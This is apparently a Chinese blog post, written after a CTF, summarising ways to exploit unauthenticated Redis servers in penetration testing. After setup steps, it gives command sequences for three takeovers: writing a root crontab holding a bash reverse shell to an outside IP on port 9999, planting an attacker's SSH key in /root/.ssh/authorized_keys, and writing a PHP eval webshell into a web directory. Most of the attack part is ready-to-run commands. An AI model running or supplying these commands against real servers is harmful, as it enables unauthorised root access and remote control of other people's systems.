redis在渗透测试中的利用总结

之前做杭电的hgame的时候有一道ssrf打sql的题,当时找资料的时候倒是很多ssrf打redis的东西,这次学习一下吧,顺便总结一下

概述

首先redis是个非关系型数据库,然后redis更偏向于memcache一点,它是一个key-value型的数据库,信息以键值形式存在内存中。当然你也可以用save把它存至硬盘,这个时候就可能会getshell了 几种简单的方法

1.通过向web目录写webshell来getshell 2.写ssh-key来getshell 3.写crontab来getshell

当然,这些攻击都包含一些要求,比如当前用户的权限,目录权限,web目录是否已知等,怎么利用还是看具体场合

redis服务器搭建

第1步:redis服务的下载

1
wget http://download.redis.io/releases/redis-4.0.9.tar.gz

第2步:redis解压、编译

1
2
3
4
5
tar -zxvf redis-4.0.9.tar.gz
cd redis-4.0.9
make
make test
make install

第3步:启动redis服务 新版本的redis默认监听本地,我们可以改成0.0.0.0

1
vim redis.conf

然后启动服务

1
redis-server /root/redis-4.0.9/redis.conf

攻击

首先都是用redis客户端连接

1
redis-cli.exe -h 192.168.182.128 -p 6379

crontabs攻击

1.设置文件夹路径

1
config set dir /var/spool/cron/crontabs

2.修改备份的文件的名称

1
config set dbfilename root

3.设置计划任务

1
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/198.xx.xx.xxx/9999 0>&1\n\n\n"

4.保存

1
save

然后上服务器监听就ok了 不过这种方式我并没有getshell过,原因位置,后续再慢慢看吧...

写sshkey来getshell

1.生产密钥

1
ssh-keygen

选rsa,认证自己定,然后

1
(echo -e "\n\n\n\n"; cat id_rsa.pub; echo -e "\n\n\n\n") > pub.txt

2.将密钥写到服务器

1
2
3
4
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
config set 233 "xxxx"
save

这里的xxx就是pub.txt里面的东西,其实可以直接copy 一下id_rsa.pub里面的东西,然后前后加回车即可。 3.连接就ok了

1
ssh -i id_rsa root@xxx.xxx.xxx.xxx

写webshell

一样的原理 不过限制就是:要求web目录已知,而且当前用户在目录有写权限

1
2
3
4
config set dir /var/www/test.com/html/
config set dbfilename shell.php
set 1 "<?php @eval($_POST['fuck']);?>"
save

这里先把redis下的攻击方式写一下,后续应该还会分析一下phithon的那篇ssrf和python的博客。 参考链接: http://foreversong.cn/archives/1180 Adog-redis在渗透测试中的利用 https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html phithon-利用redis写webshell https://lorexxar.cn/2016/12/03/redis-getshell/ Lorexxar-通过redis getshell的一些小问题